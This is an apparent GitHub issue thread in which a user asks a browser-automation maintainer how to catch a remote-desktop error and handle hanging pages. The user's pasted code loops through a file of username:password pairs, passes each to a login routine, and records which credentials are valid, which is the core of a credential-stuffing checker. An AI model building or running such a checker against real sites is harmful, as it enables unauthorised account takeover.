It would be helpful to know which line of actual script code led to your issue (from your launch method).
And what do you mean by "the error is not my issue" - "but how do i handle this error" ?

[IndrajeethY]

i mean ig ik coz of the error it occurs when i close my remote desktop screen, i just wanted to handle that error,

def process_credentials(self):
        with open(self.filtered_credentials_file, "r", encoding="utf-8", errors="replace") as file:
            lines = file.readlines()

        start_line = int(input("Enter start line (default 0): ") or 0)
        end_line = int(input("Enter end line (default last line): ") or len(lines))

        for line in lines[start_line:end_line]:
            parts = line.strip().split(":")
            if len(parts) < 2:
                logger.warning(f"Ignoring invalid line: {line.strip()}")
                continue
            username, password = parts[0], parts[1]
            self.launch(username, password)
        logger.info(
            f"Processing complete. Valid credentials saved to {self.valid_credentials_file}"
        )
 if __name__ == "__main__":
    try:
        credentials_file = (
            input("Enter credentials file (default 'credentials.txt'): ")
            or "credentials.txt"
        )
        filtered_credentials_file = (
            input("Enter filtered credentials file (default 'filtered_credentials.txt'): ")
            or "filtered_credentials.txt"
        )
        valid_credentials_file = (
            input("Enter valid credentials file (default 'valid_credentials.txt'): ")
            or "valid_credentials.txt"
        )
        automation = MyCls(
            credentials_file,
            filtered_credentials_file,
            valid_credentials_file,
        )
        automation.filter_credentials()
        automation.process_credentials()
    except KeyboardInterrupt:
        logger.info("KeyboardInterrupt: Exiting...")
        os._exit(0)
    os._exit(0)

and this is how i launch that func?

also how do i handle this case where the page doesnt load and script holds on it?

[mdmintz]

Remote Desktop connections are not supported. See #3213 (comment).
If you still insist on using Report Desktop, then you'll need to debug that on your own.

[IndrajeethY]

yeah i get it, i am not asking about issue with remote desktop, i am just asking how do i except that error? like try and except block cant catch that error also about page not available why script holds or not loads or returns any error on cdp mode?

[mdmintz]

try:
    ## code block
except Exception:
    ## code block
